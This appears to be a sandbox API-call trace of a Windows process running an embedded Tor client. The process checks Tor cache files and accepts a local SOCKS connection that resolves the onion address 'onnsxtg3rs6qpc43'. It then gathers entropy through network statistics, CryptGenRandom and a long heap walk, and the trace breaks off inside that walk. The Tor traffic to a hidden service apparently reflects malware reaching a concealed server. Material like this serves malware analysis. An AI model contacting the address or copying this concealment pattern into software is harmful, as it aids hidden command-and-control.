[0116.057] strncmp (_Str1="EXPORT", _Str2="eNULL", _MaxCount=0x6) returned -32 [0116.057] strncmp (_Str1="EXPORT", _Str2="AES128", _MaxCount=0x6) returned 4 [0116.057] strncmp (_Str1="EXPORT", _Str2="AES256", _MaxCount=0x6) returned 4 [0116.057] strncmp (_Str1="EXPORT", _Str2="AES", _MaxCount=0x6) returned 4 [0116.057] strncmp (_Str1="EXPORT", _Str2="AESGCM", _MaxCount=0x6) returned 4 [0116.057] strncmp (_Str1="EXPORT", _Str2="CAMELL", _MaxCount=0x6) returned 2 [0116.057] strncmp (_Str1="EXPORT", _Str2="CAMELL", _MaxCount=0x6) returned 2 [0116.057] strncmp (_Str1="EXPORT", _Str2="CAMELL", _MaxCount=0x6) returned 2 [0116.057] strncmp (_Str1="EXPORT", _Str2="MD5", _MaxCount=0x6) returned -8 [0116.057] strncmp (_Str1="EXPORT", _Str2="SHA1", _MaxCount=0x6) returned -14 [0116.084] _unlink (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\key-pinning-entries") returned -1 [0116.084] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-certs" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-certs"), _OpenFlag=16384) returned -1 [0116.084] _errno () returned 0x9f07d8 [0116.084] _errno () returned 0x9f07d8 [0116.084] _errno () returned 0x9f07d8 [0116.084] strerror (param_1=2) returned="No such file or directory" [0116.084] _errno () returned 0x9f07d8 [0116.084] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-consensus" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-consensus"), _OpenFlag=16384) returned -1 [0116.084] _errno () returned 0x9f07d8 [0116.084] _errno () returned 0x9f07d8 [0116.084] _errno () returned 0x9f07d8 [0116.085] strerror (param_1=2) returned="No such file or directory" [0116.085] _errno () returned 0x9f07d8 [0116.085] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\unverified-consensus" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\unverified-consensus"), _OpenFlag=16384) returned -1 [0116.085] _errno () returned 0x9f07d8 [0116.085] _errno () returned 0x9f07d8 [0116.085] _errno () returned 0x9f07d8 [0116.085] strerror (param_1=2) returned="No such file or directory" [0116.085] _errno () returned 0x9f07d8 [0116.085] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-microdesc-consensus" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-microdesc-consensus"), _OpenFlag=16384) returned -1 [0116.085] _errno () returned 0x9f07d8 [0116.085] _errno () returned 0x9f07d8 [0116.085] _errno () returned 0x9f07d8 [0116.085] strerror (param_1=2) returned="No such file or directory" [0116.085] _errno () returned 0x9f07d8 [0116.085] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\unverified-microdesc-consensus" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\unverified-microdesc-consensus"), _OpenFlag=16384) returned -1 [0116.085] _errno () returned 0x9f07d8 [0116.085] _errno () returned 0x9f07d8 [0116.085] _errno () returned 0x9f07d8 [0116.085] strerror (param_1=2) returned="No such file or directory" [0116.085] _errno () returned 0x9f07d8 [0116.085] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-microdescs" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-microdescs"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.085] GetLastError () returned 0x2 [0116.085] FormatMessageA (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x36f4f0, nSize=0x0, Arguments=0x0 | out: lpBuffer="0òv") returned 0x2c [0116.246] LocalFree (hMem=0x76f230) returned 0x0 [0116.246] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-microdescs.new" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-microdescs.new"), _OpenFlag=16384) returned -1 [0116.247] _errno () returned 0x9f07d8 [0116.247] _errno () returned 0x9f07d8 [0116.247] _errno () returned 0x9f07d8 [0116.247] strerror (param_1=2) returned="No such file or directory" [0116.247] _errno () returned 0x9f07d8 [0116.247] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b1f [0116.247] strlen (_Str="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor") returned 0x2b [0116.247] strlen (_Str="cached-descriptors") returned 0x12 [0116.247] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-descriptors" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-descriptors"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.247] GetLastError () returned 0x2 [0116.247] FormatMessageA (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x36f610, nSize=0x0, Arguments=0x0 | out: lpBuffer="0òv") returned 0x2c [0116.247] LocalFree (hMem=0x76f230) returned 0x0 [0116.247] _stati64 (in: _Name="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-descriptors.new", _Stat=0x36f768 | out: _Stat=0x36f768) returned -1 [0116.247] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-extrainfo" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-extrainfo"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.247] GetLastError () returned 0x2 [0116.247] FormatMessageA (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x36f610, nSize=0x0, Arguments=0x0 | out: lpBuffer="0òv") returned 0x2c [0116.247] LocalFree (hMem=0x76f230) returned 0x0 [0116.247] _stati64 (in: _Name="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-extrainfo.new", _Stat=0x36f768 | out: _Stat=0x36f768) returned -1 [0116.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3bd06dd0, dwHighDateTime=0x1d31ac1)) [0116.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3bd06dd0, dwHighDateTime=0x1d31ac1)) [0116.247] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b1f [0116.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5f8 | out: lpSystemTimeAsFileTime=0x36f5f8*(dwLowDateTime=0x3bd06dd0, dwHighDateTime=0x1d31ac1)) [0116.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5f8 | out: lpSystemTimeAsFileTime=0x36f5f8*(dwLowDateTime=0x3bd06dd0, dwHighDateTime=0x1d31ac1)) [0116.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f658 | out: lpSystemTimeAsFileTime=0x36f658*(dwLowDateTime=0x3bd06dd0, dwHighDateTime=0x1d31ac1)) [0116.248] select (in: nfds=1, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0116.248] rand () returned 41 [0116.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3bd06dd0, dwHighDateTime=0x1d31ac1)) [0116.248] accept (in: s=0x1a8, addr=0x36f518, addrlen=0x36f4ec | out: addr=0x36f518*(sa_family=2, sin_port=0xc012, sin_addr="127.0.0.1"), addrlen=0x36f4ec) returned 0x1c4 [0116.248] ioctlsocket (in: s=0x1c4, cmd=-2147195266, argp=0x36f3f8 | out: argp=0x36f3f8) returned 0 [0116.248] htons (hostshort=0x12c0) returned 0xc012 [0116.248] htonl (hostlong=0x100007f) returned 0x7f000001 [0116.248] _vsnprintf (in: _DstBuf=0x36f46c, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f30c | out: _DstBuf="127.0.0.1") returned 9 [0116.248] htonl (hostlong=0x100007f) returned 0x7f000001 [0116.248] _vsnprintf (in: _DstBuf=0x1192460, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f33c | out: _DstBuf="127.0.0.1") returned 9 [0116.248] select (in: nfds=2, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0116.248] rand () returned 18467 [0116.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3bd06dd0, dwHighDateTime=0x1d31ac1)) [0116.248] htonl (hostlong=0x100007f) returned 0x7f000001 [0116.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f3e0 | out: lpSystemTimeAsFileTime=0x36f3e0*(dwLowDateTime=0x3bd06dd0, dwHighDateTime=0x1d31ac1)) [0116.249] recv (in: s=0x1c4, buf=0x859d08, len=16384, flags=0 | out: buf=0x859d08*) returned 3 [0116.249] htonl (hostlong=0x100007f) returned 0x7f000001 [0116.249] htonl (hostlong=0x100007f) returned 0x7f000001 [0116.249] htonl (hostlong=0x100007f) returned 0x7f000001 [0116.249] memchr (_Buf=0x859d0a, _Val=2, _MaxCount=0x1) returned 0x0 [0116.249] memchr (_Buf=0x859d0a, _Val=0, _MaxCount=0x1) returned 0x859d0a [0116.249] recv (in: s=0x1c4, buf=0x85ad10, len=16381, flags=0 | out: buf=0x85ad10) returned -1 [0116.249] WSAGetLastError () returned 10035 [0116.249] getsockopt (in: s=0x1c4, level=65535, optname=4103, optval=0x36f440, optlen=0x36f444 | out: optval="", optlen=0x36f444) returned 0 [0116.249] htonl (hostlong=0x100007f) returned 0x7f000001 [0116.249] htonl (hostlong=0x100007f) returned 0x7f000001 [0116.249] htonl (hostlong=0x100007f) returned 0x7f000001 [0116.249] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b1f [0116.249] select (in: nfds=2, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0116.249] rand () returned 6334 [0116.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3bd06dd0, dwHighDateTime=0x1d31ac1)) [0116.249] htonl (hostlong=0x100007f) returned 0x7f000001 [0116.249] send (in: s=0x1c4, buf=0x859d08*, len=2, flags=0 | out: buf=0x859d08*) returned 2 [0116.250] htonl (hostlong=0x100007f) returned 0x7f000001 [0116.250] htonl (hostlong=0x100007f) returned 0x7f000001 [0116.250] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b1f [0116.250] select (in: nfds=2, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0116.250] rand () returned 26500 [0116.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3bd06dd0, dwHighDateTime=0x1d31ac1)) [0116.250] htonl (hostlong=0x100007f) returned 0x7f000001 [0116.250] recv (in: s=0x1c4, buf=0x85ad10, len=16384, flags=0 | out: buf=0x85ad10*) returned 29 [0116.250] htonl (hostlong=0x100007f) returned 0x7f000001 [0116.250] htonl (hostlong=0x100007f) returned 0x7f000001 [0116.250] htonl (hostlong=0x100007f) returned 0x7f000001 [0116.250] htons (hostshort=0x5000) returned 0x50 [0116.250] strncmp (_Str1="onion", _Str2=".exit", _MaxCount=0x5) returned 65 [0116.250] strspn (_Str="onnsxtg3rs6qpc43", _Control="abcdefghijklmnopqrstuvwxyz234567") returned 0x10 [0116.251] strlen (_Str="onnsxtg3rs6qpc43") returned 0x10 [0116.251] htonl (hostlong=0x43f8) returned 0xf8430000 [0116.251] htonl (hostlong=0x43f8) returned 0xf8430000 [0116.251] strspn (_Str="onnsxtg3rs6qpc43", _Control="abcdefghijklmnopqrstuvwxyz234567") returned 0x10 [0116.251] _vsnprintf (in: _DstBuf=0x36f27a, _MaxCount=0x12, _Format="%d%s", _ArgList=0x36f24c | out: _DstBuf="2onnsxtg3rs6qpc43") returned 17 [0116.251] strspn (_Str="onnsxtg3rs6qpc43", _Control="abcdefghijklmnopqrstuvwxyz234567") returned 0x10 [0116.251] _vsnprintf (in: _DstBuf=0x36f22a, _MaxCount=0x12, _Format="%d%s", _ArgList=0x36f1fc | out: _DstBuf="2onnsxtg3rs6qpc43") returned 17 [0116.251] htonl (hostlong=0x43f8) returned 0xf8430000 [0116.251] htonl (hostlong=0x43f8) returned 0xf8430000 [0116.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f3e0 | out: lpSystemTimeAsFileTime=0x36f3e0*(dwLowDateTime=0x3bd06dd0, dwHighDateTime=0x1d31ac1)) [0116.251] recv (in: s=0x1c4, buf=0x859d08, len=16355, flags=0 | out: buf=0x859d08) returned -1 [0116.251] WSAGetLastError () returned 10035 [0116.251] getsockopt (in: s=0x1c4, level=65535, optname=4103, optval=0x36f440, optlen=0x36f444 | out: optval="", optlen=0x36f444) returned 0 [0116.251] htonl (hostlong=0x100007f) returned 0x7f000001 [0116.251] htonl (hostlong=0x100007f) returned 0x7f000001 [0116.251] htonl (hostlong=0x100007f) returned 0x7f000001 [0116.251] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b1f [0116.251] select (in: nfds=2, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0116.352] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3be11770, dwHighDateTime=0x1d31ac1)) [0116.352] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5d0 | out: lpSystemTimeAsFileTime=0x36f5d0*(dwLowDateTime=0x3be11770, dwHighDateTime=0x1d31ac1)) [0116.353] select (in: nfds=2, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0116.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3bef5fb0, dwHighDateTime=0x1d31ac1)) [0116.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5d0 | out: lpSystemTimeAsFileTime=0x36f5d0*(dwLowDateTime=0x3bef5fb0, dwHighDateTime=0x1d31ac1)) [0116.446] select (in: nfds=2, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0116.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3c000950, dwHighDateTime=0x1d31ac1)) [0116.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5d0 | out: lpSystemTimeAsFileTime=0x36f5d0*(dwLowDateTime=0x3c000950, dwHighDateTime=0x1d31ac1)) [0116.555] select (in: nfds=2, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0116.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3c0e5190, dwHighDateTime=0x1d31ac1)) [0116.649] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5d0 | out: lpSystemTimeAsFileTime=0x36f5d0*(dwLowDateTime=0x3c0e5190, dwHighDateTime=0x1d31ac1)) [0116.649] select (in: nfds=2, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0116.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3c1efb30, dwHighDateTime=0x1d31ac1)) [0116.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f5d0 | out: lpSystemTimeAsFileTime=0x36f5d0*(dwLowDateTime=0x3c1efb30, dwHighDateTime=0x1d31ac1)) [0116.758] select (in: nfds=2, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0116.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3c2d4370, dwHighDateTime=0x1d31ac1)) [0116.852] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b20 [0116.852] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b20 [0116.852] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b20 [0116.852] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b20 [0116.852] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b20 [0116.852] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b20 [0116.852] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b20 [0116.852] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b20 [0116.852] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b20 [0116.852] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b20 [0116.852] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b20 [0116.852] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b20 [0116.852] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b20 [0116.852] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b20 [0116.852] LoadLibraryA (lpLibFileName="ADVAPI32.DLL") returned 0x77280000 [0116.852] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x75dc0000 [0116.852] LoadLibraryA (lpLibFileName="NETAPI32.DLL") returned 0x749d0000 [0116.857] GetProcAddress (hModule=0x749d0000, lpProcName="NetStatisticsGet") returned 0x749d644f [0116.857] GetProcAddress (hModule=0x749d0000, lpProcName="NetApiBufferFree") returned 0x749c13d2 [0116.858] NetStatisticsGet (in: ServerName=0x0, Service=0x72327e14, Level=0x0, Options=0x0, Buffer=0x36f188 | out: Buffer=0x36f188) returned 0x0 [0116.858] NetApiBufferFree (Buffer=0x773758) returned 0x0 [0116.858] NetStatisticsGet (in: ServerName=0x0, Service=0x72327e38, Level=0x0, Options=0x0, Buffer=0x36f188 | out: Buffer=0x36f188) returned 0x0 [0116.858] NetApiBufferFree (Buffer=0x75f490) returned 0x0 [0116.858] FreeLibrary (hLibModule=0x749d0000) returned 1 [0116.860] GetProcAddress (hModule=0x77280000, lpProcName="CryptAcquireContextW") returned 0x7728df14 [0116.860] GetProcAddress (hModule=0x77280000, lpProcName="CryptGenRandom") returned 0x7728dfc8 [0116.860] GetProcAddress (hModule=0x77280000, lpProcName="CryptReleaseContext") returned 0x7728e124 [0116.860] CryptAcquireContextW (in: phProv=0x36f154, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x36f154*=0x753fe8) returned 1 [0116.860] CryptGenRandom (in: hProv=0x753fe8, dwLen=0x40, pbBuffer=0x36f4fc | out: pbBuffer=0x36f4fc) returned 1 [0116.860] CryptReleaseContext (hProv=0x753fe8, dwFlags=0x0) returned 1 [0116.861] CryptAcquireContextW (in: phProv=0x36f154, szContainer=0x0, szProvider="Intel Hardware Cryptographic Service Provider", dwProvType=0x16, dwFlags=0x0 | out: phProv=0x36f154*=0x753fe8) returned 0 [0116.861] FreeLibrary (hLibModule=0x77280000) returned 1 [0116.861] GetVersion () returned 0x1db10106 [0116.861] GetProcessWindowStation () returned 0x4c [0116.861] GetUserObjectInformationW (in: hObj=0x4c, nIndex=2, pvInfo=0x0, nLength=0x0, lpnLengthNeeded=0x36f0c8 | out: pvInfo=0x0, lpnLengthNeeded=0x36f0c8) returned 0 [0116.861] GetLastError () returned 0x7a [0116.861] GetUserObjectInformationW (in: hObj=0x4c, nIndex=2, pvInfo=0x36f080, nLength=0x10, lpnLengthNeeded=0x36f0c8 | out: pvInfo=0x36f080, lpnLengthNeeded=0x36f0c8) returned 1 [0116.861] wcsstr (_Str="WinSta0", _SubStr="Service-0x") returned 0x0 [0116.861] LoadLibraryA (lpLibFileName="USER32.DLL") returned 0x757e0000 [0116.861] GetProcAddress (hModule=0x757e0000, lpProcName="GetForegroundWindow") returned 0x75802320 [0116.861] GetProcAddress (hModule=0x757e0000, lpProcName="GetCursorInfo") returned 0x7585812f [0116.861] GetProcAddress (hModule=0x757e0000, lpProcName="GetQueueStatus") returned 0x75803924 [0116.861] GetForegroundWindow () returned 0x101a0 [0116.861] GetVersion () returned 0x1db10106 [0116.861] GetVersion () returned 0x1db10106 [0116.861] GetCursorInfo (in: pci=0x36f188 | out: pci=0x36f188) returned 1 [0116.861] GetQueueStatus (flags=0x4bf) returned 0x0 [0116.861] FreeLibrary (hLibModule=0x757e0000) returned 1 [0116.861] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateToolhelp32Snapshot") returned 0x75df735f [0116.861] GetProcAddress (hModule=0x75dc0000, lpProcName="CloseToolhelp32Snapshot") returned 0x0 [0116.862] GetProcAddress (hModule=0x75dc0000, lpProcName="Heap32First") returned 0x75e55763 [0116.862] GetProcAddress (hModule=0x75dc0000, lpProcName="Heap32Next") returned 0x75e5594e [0116.862] GetProcAddress (hModule=0x75dc0000, lpProcName="Heap32ListFirst") returned 0x75e55621 [0116.862] GetProcAddress (hModule=0x75dc0000, lpProcName="Heap32ListNext") returned 0x75e556cb [0116.862] GetProcAddress (hModule=0x75dc0000, lpProcName="Process32First") returned 0x75df8ae7 [0116.862] GetProcAddress (hModule=0x75dc0000, lpProcName="Process32Next") returned 0x75df88a4 [0116.862] GetProcAddress (hModule=0x75dc0000, lpProcName="Thread32First") returned 0x75e55b93 [0116.862] GetProcAddress (hModule=0x75dc0000, lpProcName="Thread32Next") returned 0x75e55c3f [0116.862] GetProcAddress (hModule=0x75dc0000, lpProcName="Module32First") returned 0x75e55cd9 [0116.862] GetProcAddress (hModule=0x75dc0000, lpProcName="Module32Next") returned 0x75e55dc2 [0116.862] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x1d4 [0116.866] GetTickCount () returned 0x241d0 [0116.866] Heap32ListFirst (hSnapshot=0x1d4, lphl=0x36f15c) returned 1 [0116.866] Heap32First (lphe=0x36f188, th32ProcessID=0x9b4, th32HeapID=0x730000) returned 1 [0116.871] Heap32Next (lphe=0x36f188) returned 1 [0116.875] Heap32Next (lphe=0x36f188) returned 1 [0116.879] Heap32Next (lphe=0x36f188) returned 1 [0116.883] Heap32Next (lphe=0x36f188) returned 1 [0116.887] Heap32Next (lphe=0x36f188) returned 1 [0116.891] Heap32Next (lphe=0x36f188) returned 1 [0116.895] Heap32Next (lphe=0x36f188) returned 1 [0116.900] Heap32Next (lphe=0x36f188) returned 1 [0116.905] Heap32Next (lphe=0x36f188) returned 1 [0116.909] Heap32Next (lphe=0x36f188) returned 1 [0116.913] Heap32Next (lphe=0x36f188) returned 1 [0116.917] Heap32Next (lphe=0x36f188) returned 1 [0116.921] Heap32Next (lphe=0x36f188) returned 1 [0116.925] Heap32Next (lphe=0x36f188) returned 1 [0116.929] Heap32Next (lphe=0x36f188) returned 1 [0116.938] Heap32Next (lphe=0x36f188) returned 1 [0116.942] Heap32Next (lphe=0x36f188) returned 1 [0117.041] Heap32Next (lphe=0x36f188) returned 1 [0117.045] Heap32Next (lphe=0x36f188) returned 1 [0117.049] Heap32Next (lphe=0x36f188) returned 1 [0117.054] Heap32Next (lphe=0x36f188) returned 1 [0117.058] Heap32Next (lphe=0x36f188) returned 1 [0117.062] Heap32Next (lphe=0x36f188) returned 1 [0117.066] Heap32Next (lphe=0x36f188) returned 1 [0117.073] Heap32Next (lphe=0x36f188) returned 1 [0117.077] Heap32Next (lphe=0x36f188) returned 1 [0117.082] Heap32Next (lphe=0x36f188) returned 1 [0117.134] Heap32Next (lphe=0x36f188) returned 1 [0117.138] Heap32Next (lphe=0x36f188) returned 1 [0117.142] Heap32Next (lphe=0x36f188) returned 1 [0117.146] Heap32Next (lphe=0x36f188) returned 1 [0117.151] Heap32Next (lphe=0x36f188) returned 1 [0117.155] Heap32Next (lphe=0x36f188) returned 1 [0117.159] Heap32Next (lphe=0x36f188) returned 1 [0117.163] Heap32Next (lphe=0x36f188) returned 1 [0117.168] Heap32Next (lphe=0x36f188) returned 1 [0117.172] Heap32Next (lphe=0x36f188) returned 1 [0117.176] Heap32Next (lphe=0x36f188) returned 1 [0117.227] Heap32Next (lphe=0x36f188) returned 1 [0117.231] Heap32Next (lphe=0x36f188) returned 1 [0117.235] Heap32Next (lphe=0x36f188) returned 1 [0117.239] Heap32Next (lphe=0x36f188) returned 1 [0117.244] Heap32Next (lphe=0x36f188) returned 1 [0117.248] Heap32Next (lphe=0x36f188) returned 1 [0117.253] Heap32Next (lphe=0x36f188) returned 1 [0117.257] Heap32Next (lphe=0x36f188) returned 1 [0117.262] Heap32Next (lphe=0x36f188) returned 1 [0117.266] Heap32Next (lphe=0x36f188) returned 1 [0117.271] Heap32Next (lphe=0x36f188) returned 1 [0117.369] Heap32Next (lphe=0x36f188) returned 1 [0117.373] Heap32Next (lphe=0x36f188) returned 1 [0117.377] Heap32Next (lphe=0x36f188) returned 1 [0117.381] Heap32Next (lphe=0x36f188) returned 1 [0117.385] Heap32Next (lphe=0x36f188) returned 1 [0117.390] Heap32Next (lphe=0x36f188) returned 1 [0117.394] Heap32Next (lphe=0x36f188) returned 1 [0117.398] Heap32Next (lphe=0x36f188) returned 1 [0117.402] Heap32Next (lphe=0x36f188) returned 1 [0117.406] Heap32Next (lphe=0x36f188) returned 1 [0117.410] Heap32Next (lphe=0x36f188) returned 1 [0117.461] Heap32Next (lphe=0x36f188) returned 1 [0117.465] Heap32Next (lphe=0x36f188) returned 1 [0117.470] Heap32Next (lphe=0x36f188) returned 1 [0117.474] Heap32Next (lphe=0x36f188) returned 1 [0117.478] Heap32Next (lphe=0x36f188) returned 1 [0117.483] Heap32Next (lphe=0x36f188) returned 1 [0117.487] Heap32Next (lphe=0x36f188) returned 1 [0117.492] Heap32Next (lphe=0x36f188) returned 1 [0117.496] Heap32Next (lphe=0x36f188) returned 1 [0117.501] Heap32Next (lphe=0x36f188) returned 1 [0117.505] Heap32Next (lphe=0x36f188) returned 1 [0117.556] Heap32Next (lphe=0x36f188) returned 1 [0117.561] Heap32Next (lphe=0x36f188) returned 1 [0117.565] Heap32Next (lphe=0x36f188) returned 1 [0117.570] Heap32Next (lphe=0x36f188) returned 1 [0117.575] Heap32Next (lphe=0x36f188) returned 1 [0117.579] Heap32Next (lphe=0x36f188) returned 1 [0117.583] Heap32Next (lphe=0x36f188) returned 1 [0117.588] Heap32Next (lphe=0x36f188) returned 1 [0117.593] Heap32Next (lphe=0x36f188) returned 1 [0117.597] Heap32ListNext (hSnapshot=0x1d4, lphl=0x36f15c) returned 1 [0117.597] GetTickCount () returned 0x244ad [0117.597] Heap32First (lphe=0x36f188, th32ProcessID=0x9b4, th32HeapID=0x9f0000) returned 1 [0117.681] Heap32Next (lphe=0x36f188) returned 1 [0117.686] Heap32Next (lphe=0x36f188) returned 1 [0117.690] Heap32Next (lphe=0x36f188) returned 1 [0117.696] Heap32Next (lphe=0x36f188) returned 1 [0117.701] Heap32Next (lphe=0x36f188) returned 1 [0117.706] Heap32Next (lphe=0x36f188) returned 1 [0117.711] Heap32Next (lphe=0x36f188) returned 1 [0117.716] Heap32Next (lphe=0x36f188) returned 1 [0117.720] Heap32Next (lphe=0x36f188) returned 1 [0117.725] Heap32Next (lphe=0x36f188) returned 1 [0117.823] Heap32Next (lphe=0x36f188) returned 1 [0117.827] Heap32Next (lphe=0x36f188) returned 1 [0117.831] Heap32Next (lphe=0x36f188) returned 1 [0117.836] Heap32Next (lphe=0x36f188) returned 1 [0117.840] Heap32Next (lphe=0x36f188) returned 1 [0117.844] Heap32Next (lphe=0x36f188) returned 1 [0117.849] Heap32Next (lphe=0x36f188) returned 1 [0117.853] Heap32Next (lphe=0x36f188) returned 1 [0117.857] Heap32Next (lphe=0x36f188) returned 1 